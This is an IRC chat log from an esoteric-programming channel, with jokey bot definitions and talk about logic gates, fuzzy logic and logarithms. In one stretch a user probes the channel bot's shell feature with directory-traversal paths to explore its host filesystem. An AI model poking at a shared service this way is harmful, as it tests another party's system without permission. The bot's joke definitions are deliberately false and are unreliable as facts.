21:33:04 slashlearn vacuum tube//After the London terrorist attacks of 2005, the Underground was completely evacuated. Without air resistance, the trains would go at blazingly fast speeds between the terminals. This is called a vacuum tube. Sadly, current technology doesn't let passengers travel that way. 21:33:06 Learned 'vacuum tube': After the London terrorist attacks of 2005, the Underground was completely evacuated. Without air resistance, the trains would go at blazingly fast speeds between the terminals. This is called a vacuum tube. Sadly, current technology doesn't let passengers travel that way. 21:33:26 lol 21:33:56 ? transistor 21:33:57 transistor? ¯\(°​_o)/¯ 21:34:37 wob_jonas: https://en.wikipedia.org/wiki/Hyperloop <-- it's not really current technology, but are you aware of this? 21:34:48 -!- augur has quit (Read error: Connection reset by peer). 21:35:53 -!- augur has joined. 21:36:08 int-e: I was rather trying to refer to the concept of vacuum trainson earth's surface as likely future technology. Expensive to build, but may be cheaper than aviation on crowded lines in the long term. 21:36:45 I'm not sure how this hyperloop thing differs from it. Sounds like a new fancy sounding name for an old concept to sell it. 21:37:02 . o O ( Hyperloop is a concept for a high energy particle accelerator. ) 21:37:40 . o O 0 A Æ E I I | 21:39:14 Or maybe it's a more detailed specific plan of an instance of vac train line. 21:40:31 If I haven't messed up my calculation, a bullet fired from a .357 Magnum has about 5 ZeV... 21:40:42 -!- augur has quit (Ping timeout: 260 seconds). 21:40:45 in kinetic energy. 21:44:42 magical energy 21:45:28 feel free to improve that wisdom entry, I know the phrasing isn't the best. 21:46:56 what's so hard in including an analog dial resistor thingy in the fucking earphones, east asian electronics guys! 21:49:27 Hm 21:50:25 . o O o . 21:50:28 [wiki] [[Talk:But Is It Art?]] https://esolangs.org/w/index.php?diff=51673&oldid=51671 * Ais523 * (+790) reply 21:51:23 If my math is correct, the set of n×n matrices (for all natural n) forms a vector space over (pretty much any field) with straightforward addition and multiplication 21:51:35 [wiki] [[But Is It Art?]] https://esolangs.org/w/index.php?diff=51674&oldid=51666 * Ais523 * (+182) /* Computational class */ clarify; the previous text was a bit misleading 21:51:45 !(!a AND !b) 21:51:47 :o 21:51:50 wai 21:51:52 wait. 21:52:05 But what would be interesting is a structure (maybe a "vector space space"?) that describes *all* matrices 21:52:22 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51675&oldid=51654 * Xav737 * (+198) Post my intro 21:52:26 Take your normal AND gate, designed for a low 0 and high 1 system. Put it in a low 1 and high 0 system. what happens? 21:52:56 A VSS is a set of vector spaces together with a function f 21:53:00 [wiki] [[Esolang:Introduce yourself]] M https://esolangs.org/w/index.php?diff=51676&oldid=51675 * Xav737 * (+56) 21:53:18 If you f is defined to combine elements of two vector spaces into elements of a third, but isn't necessarily defined for all pairs of vector spaces 21:53:37 [wiki] [[HBL]] M https://esolangs.org/w/index.php?diff=51677&oldid=50431 * Xav737 * (+182) 21:54:00 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 21:54:12 But if a, b, and c are elements of vector spaces A, B, and C respectively and f(a, b) = c, then f is defined for all pairs of elements from A and B and is equal to an element of C 21:54:30 . o O ( and gate w/o transistors? ) 21:54:43 Matrices form a VSS with matrix multiplication. 21:54:54 Now to figure out if this is at all useful 21:55:00 hm 21:55:12 what are some examples of AND gates constructed without transistors? 21:57:48 btw it has to be electronic 21:58:59 nobody? 21:59:00 rdococ: Redstone! 21:59:20 rdococ: No idea of some non-electric ones. Define "electric" 21:59:50 rdococ: Like, I could have a hose with two valves, and have an electric motor that opens the valves and a gravity-based device that closes them 22:00:06 Water coming out means 1, no water is 0 22:00:30 http://hackaday.com/2014/05/30/using-pulleys-and-weights-to-explain-binary-logic-gates/ comes to mind 22:00:37 hppavilion[1]: It doesn't matter how the AND gate functions, it just matters that it takes in two electronic signals, and outputs an electronic signal equivalent to the wanted result. 22:00:53 As long as it has no transistors. 22:00:58 why electric? 22:01:06 rdococ: OK, that's what I expressed. Just add a generator to the hose. 22:01:16 (I assume motors don't contain any transistors) 22:01:56 int-e, hppavilion[1]: The point is, the AND gate should output like real AND gates - with a non-zero low value. 22:03:25 Okay, I'll admit: what I'm trying to do is figuring out how you would construct computers without transistors. But rather than tackling it directly, "NAND gates without transistors?", I took a different approach. 22:04:43 wait. 22:05:40 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 22:06:30 Nevermind. 22:09:31 -!- ^_^v has quit (Quit: This computer has gone to sleep). 22:09:40 -!- ^_^v has joined. 22:13:56 ? I'n 22:13:57 I'n? ¯\(°​_o)/¯ 22:14:32 le//rn I'n//I'n is a contraction of "I'm in" rdocscovered in the early 23rd century. 22:14:34 Learned 'i'n': I'n is a contraction of "I'm in" rdocscovered in the early 23rd century. 22:20:06 -!- orby_ has joined. 22:20:31 -!- hppavilion[1] has joined. 22:24:35 ? You're 22:24:36 You're? ¯\(°​_o)/¯ 22:24:37 ? re 22:24:38 re? ¯\(°​_o)/¯ 22:24:41 ? at 22:24:43 At is a daemon for procrastinating commands. 22:24:45 -!- hppavilion[1] has set topic: Noose: 56 countries still perform capital punishment | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 22:24:48 ? w 22:24:49 w? ¯\(°​_o)/¯ 22:25:36 le//rn w//A w is everything a cow isn't. 22:25:38 Learned 'w': A w is everything a cow isn't. 22:25:58 ? pe 22:25:59 pe? ¯\(°​_o)/¯ 22:26:22 rdococ: ...do you have a dictionary open to the 'co-' section? 22:26:30 le//rn pe//To pe, is to not cope. 22:26:32 Learned 'pe': To pe, is to not cope. 22:27:22 hppavilion[1]: Actually, yes, in a way: https://en.wiktionary.org/wiki/co- 22:27:49 ? coopposite 22:27:50 coopposite? ¯\(°​_o)/¯ 22:28:45 ? cosine 22:28:47 cosine? ¯\(°​_o)/¯ 22:28:49 ? sine 22:28:50 sine? ¯\(°​_o)/¯ 22:29:08 ? absolute value 22:29:09 The absolute value of a number, also known as its cosign, is its distance from zero regardless of direction. It shouldn't be negative, but Sgeo is trying to break that. 22:29:29 . o O ( coabs = sign ) 22:29:33 ? cosign 22:29:34 cosign? ¯\(°​_o)/¯ 22:29:39 slwd absolute value//s/break that/break maths/ 22:29:42 absolute value//The absolute value of a number, also known as its cosign, is its distance from zero regardless of direction. It shouldn't be negative, but Sgeo is trying to break maths. 22:29:45 :P 22:29:59 ? @ 22:30:01 ​@ is an OS made out of only the finest vapour. 22:30:02 I like how it's a cosign 22:30:04 ?  22:30:05 ​? ¯\(°​_o)/¯ 22:30:08 ? tip 22:30:09 rdococ: Yeah 22:30:09 A tip is [  ] if you're American, [ £ ] if you're British, and if you're Japanese. 22:30:24 Wanna see my entry for cocoa? 22:30:28 rdococ: Also, the integral of sign is cosign. 22:30:40 hppavilion[1]: I know, I find that pretty cool too :P 22:31:02 You should really type ? cocoa 22:31:06 (specifically, \int{0}{x}{sgn(s) ds} = |x| 22:31:11 ? COCOA 22:31:12 A is a village in Norway. The BBC invented it by not understanding things on top of letters. 22:31:20 :P 22:31:22 rdococ: Wondeful 22:31:32 It's also coterrible. 22:31:45 rdococ: Cofurchtbar 22:32:10 I wanted to make a joke about ats, but at was already taken. 22:32:25 ? mputer 22:32:26 mputer? ¯\(°​_o)/¯ 22:32:28 -!- orby has quit (Ping timeout: 260 seconds). 22:33:54 ? rdoc 22:33:55 rdoc? ¯\(°​_o)/¯ 22:34:48 I'd like to see more newly-invented last names 22:35:02 exempli gratia names like Kim Dotcom, but for different TLDs 22:35:06 Copavilion 22:35:15 rdococ: pulate 22:37:29 "I recognize the importance of stupid jokes, and that's why I'm voting Joe Dotgov for president in 1749.3713156445663+1010i" 22:38:11 (I also support Cosen. Dotgov's prospectiv[e Department of Defense nominee, General George Dotmil) 22:39:30 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 22:39:41 ? coextrapolate 22:39:42 coextrapolate? ¯\(°​_o)/¯ 22:39:52 ? coextrapolation 22:39:53 coextrapolation? ¯\(°​_o)/¯ 22:40:08 (Though I question choices in the appointment of Clarence Period-Commercial for Department of Education, as I fear he may be too prescriptivist about language) 22:40:32 (And his ties to Vladimir Dotaryoo are a bit concerning) 22:40:53 ? lal 22:40:54 lal? ¯\(°​_o)/¯ 22:40:55 ? lol 22:40:56 lol? ¯\(°​_o)/¯ 22:41:53 rdococ: ACKNOWLEDGE MY FUNNY 22:42:21 YOUR FUNNY IS ACKNOWLEDGED 22:42:48 (HOWEVER LITTLE OF IT THERE IS) 22:43:05 ? ke 22:43:08 ke? ¯\(°​_o)/¯ 22:43:36 ? cain 22:43:37 cain? ¯\(°​_o)/¯ 22:43:41 ? caine 22:43:42 caine? ¯\(°​_o)/¯ 22:43:55 le//rn ke//Ke is an anti-soda campaign rdocscovered in the 93rd millenium I.C.E. Rdococ doesn't support it. 22:43:57 Learned 'ke': Ke is an anti-soda campaign rdocscovered in the 93rd millenium I.C.E. Rdococ doesn't support it. 22:44:02 ? ice 22:44:03 ice? ¯\(°​_o)/¯ 22:44:29 -!- boily has joined. 22:44:43 le//rn ice//I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear timeline. 22:44:45 Learned 'ice': I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear timeline. 22:45:12 le//rn ice//I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear axis. 22:45:14 Relearned 'ice': I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear axis. 22:45:21 le//rn ice//I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the real axis. 22:45:23 Relearned 'ice': I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the real axis. 22:45:24 ah 22:45:26 better 22:45:34 * rdococ really wishes he knew the other commands better. 22:46:00 rdochelloc. it's Intrusion Countermeasures Electronics hth 22:46:54 hoily, are you seriously going to ignore a whole historical timeplane which could give us insight into the universe, the iuniverse and the couniverse, just to stop intruders? 22:47:27 rdococ: slwd hth 22:47:43 hppavilion[1]: ik it's slwd but the last time I used it I messed it up 22:47:53 * rdococ needs syntactical help 22:48:02 hppavellon[1]. 22:48:04 ? caine 22:48:05 caine? ¯\(°​_o)/¯ 22:48:28 ? coil 22:48:29 coil? ¯\(°​_o)/¯ 22:48:30 ? il 22:48:31 il? ¯\(°​_o)/¯ 22:49:02 le//rn il//An il is a cohelix of pper wire. 22:49:05 Learned 'il': An il is a cohelix of pper wire. 22:49:07 rdococ: You clearly know the mmands pretty well though 22:49:21 hppavilion[1]: yes, but the problem is, I also coknow the commands well 22:49:46 rdococ: This joke is getting cofunny htc. 22:50:17 hppavilion[1]: Would you prefer a cojoke? 22:50:25 rdococ: Coyes. 22:50:49 hppavilion[1]: Er... Cokay. 22:50:53 ? coyes 22:50:55 coyes? ¯\(°​_o)/¯ 22:50:57 ? cono 22:50:58 cono? ¯\(°​_o)/¯ 22:51:01 ? ne 22:51:03 ne? ¯\(°​_o)/¯ 22:51:19 Coño. 22:51:23  22:51:24 No output. 22:51:32 ? _- 22:51:33 ​_-? ¯\(°​_o)/¯ 22:54:04 ? fñord 22:54:05 fñord? ¯\(°​_o)/¯ 22:54:25 ? OTL 22:54:26 OTL? ¯\(°​_o)/¯ 22:54:39 le//rn OTL//OTL is a man sitting sideways on air. 22:54:41 Learned 'otl': OTL is a man sitting sideways on air. 22:56:38 revert 22:56:40 Done. 22:56:49 * boily feels shachafy 22:58:06 :c 22:59:39 ? codo 22:59:40 codo? ¯\(°​_o)/¯ 22:59:54 le//rn codo//The codo button is the dodo's undo button. 22:59:56 Learned 'codo': The codo button is the dodo's undo button. 23:02:38 ? ouo 23:02:40 ouo? ¯\(°​_o)/¯ 23:07:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 23:11:36 ? love 23:11:37 Baby don't hurt me, don't hurt me no more 23:11:40 ? life 23:11:42 ​‘Life,’ said Marvin, ‘don't talk to me about life.’ 23:13:21 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:17:35 -!- sleffy has joined. 23:17:40 ? quotes 23:17:41 Quotes are just elements of the quantum dilapidated bogosphere. See qdb. 23:17:48 / qdb 23:17:48 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /: cannot execute: Is a directory 23:17:50 ? qdb 23:17:51 qdb is used like: quote; quote regexp; quote id; addquote ...; delquote id; pastequotes regexp; pastenquotes [n]; see also quoteformat 23:18:11 /home/hackbot/hackbot.hg/multibot_commands/lib/limits/ 23:18:12 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /home/hackbot/hackbot.hg/multibot_commands/lib/limits/: No such file or directory 23:18:23 /home/hackbot/hackbot.hg/multibot_commands/lib/limits 23:18:23 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /home/hackbot/hackbot.hg/multibot_commands/lib/limits: No such file or directory 23:18:35 -!- AnotherTest has quit (Ping timeout: 245 seconds). 23:18:37 /.. 23:18:37 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /..: cannot execute: Is a directory 23:18:45 ooh 23:18:47 interesting 23:20:29 /../lock 23:20:30 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../lock: No such file or directory 23:20:51 /../.. 23:20:51 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../..: cannot execute: Is a directory 23:20:53 /../../.. 23:20:54 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../..: cannot execute: Is a directory 23:20:57 /../../../.. 23:20:57 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../..: cannot execute: Is a directory 23:20:59 /../../../../dir 23:21:00 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../dir: No such file or directory 23:21:05 hmmm 23:21:09 cd .. 23:21:10 ​invalid command ( ͡° ͜ʖ ͡°) 23:21:13 aw 23:21:13 lol 23:21:15 :P 23:21:22 /.. 23:21:23 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /..: cannot execute: Is a directory 23:21:39 /../tr_60.cd 23:21:39 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../tr_60.cd: No such file or directory 23:21:41 /../tr_60.cmd 23:21:41 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../tr_60.cmd: No such file or directory 23:21:52 /../../../.. 23:21:52 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../..: cannot execute: Is a directory 23:21:54 /../../../../.. 23:21:54 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../..: cannot execute: Is a directory 23:21:56 okay 23:21:59 I'll do it in pm 23:24:22 why 23:24:29 it was starting to get interesting 23:27:23 /../../../../../../.. 23:27:24 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../..: cannot execute: Is a directory 23:27:26 /../../../../../../../.. 23:27:26 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../..: cannot execute: Is a directory 23:27:28 /../../../../../../../../.. 23:27:29 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../..: cannot execute: Is a directory 23:27:31 /../../../../../../../../../.. 23:27:31 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../..: cannot execute: Is a directory 23:27:33 /../../../../../../../../../../.. 23:27:34 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../..: cannot execute: Is a directory 23:27:38 HOW NESTED 23:27:41 /../../../../../../../../../../../.. 23:27:41 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../..: cannot execute: Is a directory 23:27:43 /../../../../../../../../../../../../.. 23:27:44 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../..: cannot execute: Is a directory 23:27:46 /../../../../../../../../../../../../../.. 23:27:46 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../..: cannot execute: Is a directory 23:27:49 /../../../../../../../../../../../../../../.. 23:27:50 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../../..: cannot execute: Is a directory 23:27:53 /../../../../../../../../../../../../../../../.. 23:27:54 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../../../..: cannot execute: Is a directory 23:27:56 Does this ever end? 23:28:09 /../../../../../../../../../../../../../../../../bin 23:28:09 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../../../../bin: cannot execute: Is a directory 23:28:12 /../../../../../../../../../../../../../../../../bia 23:28:13 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../../../bia: No such file or directory 23:28:19 Oooooh. 23:28:22 /../../../../../../../../..bin 23:28:23 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../..bin: No such file or directory 23:28:24 /../../../../../../../../../bin 23:28:25 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../bin: cannot execute: Is a directory 23:28:27 /../../../../../../../../bin 23:28:28 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../bin: cannot execute: Is a directory 23:28:31 /../../../../../../../bin 23:28:32 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../bin: cannot execute: Is a directory 23:28:34 /../../../../../../bin 23:28:35 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../bin: cannot execute: Is a directory 23:28:37 /../../../../../bin 23:28:37 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../bin: cannot execute: Is a directory 23:28:40 /../../../../bin 23:28:40 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../bin: cannot execute: Is a directory 23:28:43 /../../../bin 23:28:44 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../bin: cannot execute: Is a directory 23:28:48 /../../bin 23:28:49 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../bin: cannot execute: Is a directory 23:28:51 /../bin 23:28:52 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../bin: cannot execute: Is a directory 23:28:55 /bin 23:28:55 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /bin: cannot execute: Is a directory 23:28:57 bin 23:28:58 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bin: cannot execute: Is a directory 23:28:59 ... 23:29:07 serioslai. 23:30:23 /../../../../../../../../../boot 23:30:24 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../boot: No such file or directory 23:30:30 /../../../../../../../../../? 23:30:31 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../?: No such file or directory 23:30:35 /../../../../../../../../../dev 23:30:35 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../dev: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../dev: cannot execute: Is a directory 23:30:41 /../../../../../../../../../dev/null 23:30:41 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../dev/null: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../dev/null: cannot execute: Permission denied 23:30:44 lol. 23:31:12 /../../../../../../../../../usr/include/error.h 23:31:12 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/include/error.h: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../usr/include/error.h: cannot execute: Permission denied 23:31:24 /../../../../../../../../../usr/games 23:31:25 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/games: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../usr/games: cannot execute: Is a directory 23:31:35 /../../../../../../../../../usr/games/guess 23:31:36 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/games/guess: No such file or directory 23:31:43 /../../../../../../../../../usr/games/mines 23:31:44 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/games/mines: No such file or directory 23:31:55 /../../../../../../../../../usr/ 23:31:56 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../usr/: cannot execute: Is a directory 23:32:04 /../../../../../../../../../root/ 23:32:05 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../root/: No such file or directory 23:32:14 /../../../../../../../../../vmlinuz 23:32:15 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../vmlinuz: No such file or directory 23:37:37 -!- hppavilion[1] has joined. 23:37:51 hppavilion[1] detecte 23:37:52 d 23:38:21 P(A+B) = 1-(1-P(A))(1-P(B)) 23:38:55 Is there a huge difference between probability and fuzzy logic? 23:39:21 depends what kind 23:40:26 I think of P(A+B) = (P(A)+P(B))-(P(A)*P(B)). so P(¶(0.5) + ¶(0.5)) = 1 - 0.25 = 0.75 23:41:11 rdococ: ...uh. 23:41:28 ? 23:41:55 ah 23:41:57 they're the same 23:41:58 :P 23:42:42 Anyway, I understand that log_b(a) = log(a)/log(b), yes? 23:43:11 rdococ: Yes 23:43:12 -!- DHeadshot has quit (Ping timeout: 260 seconds). 23:43:19 rdococ: Do you want a proof? Cause I found one! 23:43:23 Hm. At least one difference: In standard fuzzy logic, a ∧ b = T(a)*T(b) 23:43:29 what is the equivalent to b^a? 23:43:41 rdococ: Logical AND hth 23:43:41 I wasn't exactly aware fuzzy logic had a standard 23:43:46 rdococ: Same symbol 23:43:57 rdococ: Well, it's ( •_•) | ( •_•)>⌐■-■ | (⌐■_■) sort of standard 23:44:12 ok? 23:44:14 ay? 23:44:37 Er, T(a ∧ b) = T(a) * T(b) 23:44:57 Well duh. 23:45:48 Which is all well and good, except that T(a ∧ a) = T(a)^2, but it SHOULD be the case (at least from a probability perspective) that T(a ∧ a) = T(a) 23:46:02 (assuming you just mean "a is true and a is true", not "a is observed twice") 23:46:09 ye 23:46:43 Basically, normal fuzzy logic is ill-equipped to deal with correlated truths 23:46:45 and T(a ∧ ¬a) should be 0 23:47:50 the definition of fuzzy logic is a bit fuzzy 23:47:56 I had the idea that each operation on probabilities - A∧B, AvB, etc. - could be encoded as a function taking parameters and using them as the random probabilities. 23:47:57 E.g. 23:48:10 hm 23:48:15 I don't think I explained that enough tbh 23:48:30 take F = a∧b. 23:48:39 F(x, y) = x∧y. 23:48:41 rdococ: Yeah! But instead, it follows a pattern more akin to 0.0, 0.07638888888888888, 0.1388888888888889, 0.1875, 0.22222222222222224, 0.24305555555555552, 0.25, 0.24305555555555555, 0.22222222222222224, 0.1875, 0.13888888888888887, 0.07638888888888892, 0.0 23:48:48 er 23:49:02 ye 23:49:05 Which WOULD make 0 sense, but my math says it actually makes 0.3 sense. 23:49:22 clearly you're working with comath 23:49:48 * boily joyfully mapoles rdococ. *THWACK THWACK THWACK* 23:50:02 * rdococ comapoles himself. 23:50:07 [for the curious, that was P(a 23:50:07 ∧ ¬a) where a is in increments of 1/12] 23:50:16 [I gathered] 23:50:42 anyway, if each probabilistic operation was a function that took in the results of each probability... 23:50:59 Actually, this requires each probability be 1/2 23:51:20 but still, if each probability is 1/2 and you use my function encoding, you could simply enumerate the possibilities. 23:51:36 even if there were 1/4 probabilities, probably too - simply enumerate the others 3x. I think. 23:51:53 rdococ: Another thing that would be nice to deal with in probability: Choices of several items 23:52:09 While normal probability is sufficiently robust to describe this, it's not very well-equipped 23:53:11 This statement: "If I choose a ball out of a bag, there is a 40% chance it will be red, a 35% chance it will be blue, and a 25% chance it will be green" 23:53:29 You can encode it as P(red), P(green), P(blue), but it's a little funky 23:53:54 It'd be nice to have Pie Types JUST for this. 23:54:18 ye 23:55:05 P(marble, {red, green, blue}) 23:57:40 -!- Zarutian has joined. 23:58:31 Proving that log_b(a) = log(a)/log(b) for any base (as in, any base for log) is a good exercise if one hasn't done so yet 2017-04-13: 00:00:07 Zarutellon, FirelloFly. 00:00:27 let me guess, it gets tricky with b = 0? 00:01:19 -!- MDude has joined. 00:01:30 what about a^b? 00:01:53 ..what about it? 00:02:13 boily: I don't think log base 0 is defined 00:07:07 I need to be able to reach 2^x with only e^, 10^ and their respective logarithms (along with the basic operators + - * /) 00:07:30 okay, there are also various trigonometry operations 00:09:24 2^x = (e^(log 2))^x = e^((log 2) * x). 00:10:25 ty 00:23:57 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 00:24:20 -!- Phantom_Hoover has joined. 00:25:38 -!- Phantom_Hoover has quit (Client Quit). 00:29:13 wisdom 00:29:14 2600//2600 Hz is a tone made by Captain Crunch's whistle. 00:30:06 -!- hppavilion[2] has joined. 00:31:44 hppavilion[1], 00:33:24 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 00:48:10 YAY 00:58:10 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 01:07:03 coily 01:14:49 boily: isnt that slightly off? One needs to cover one of the holes (do not recall which one) to get the 2600 Hz tone. 01:16:42 It only says it's *a* tone, not that it's the only tone 01:17:09 -!- oerjan has joined. 01:18:29 who knew heaven was between two slices of bread? 01:18:31 wisdom 01:18:32 rincewind//Rincewind is a wizzard. He likes potatoes. 01:18:40 ? vodka 01:18:41 vodka? ¯\(°​_o)/¯ 01:18:57 ? beer 01:18:58 beer? ¯\(°​_o)/¯ 01:19:14 ? operate 01:19:15 operate? ¯\(°​_o)/¯ 01:19:18 ? operation 01:19:19 operation? ¯\(°​_o)/¯ 01:19:29 le//rn operation//Operation is the opposite of cooperation. 01:19:31 Learned 'operation': Operation is the opposite of cooperation. 01:19:58 ? wizzard 01:19:59 wizzard? ¯\(°​_o)/¯ 01:20:02 ? wizard 01:20:03 wizard? ¯\(°​_o)/¯ 01:20:12 le//rn wizzard//A 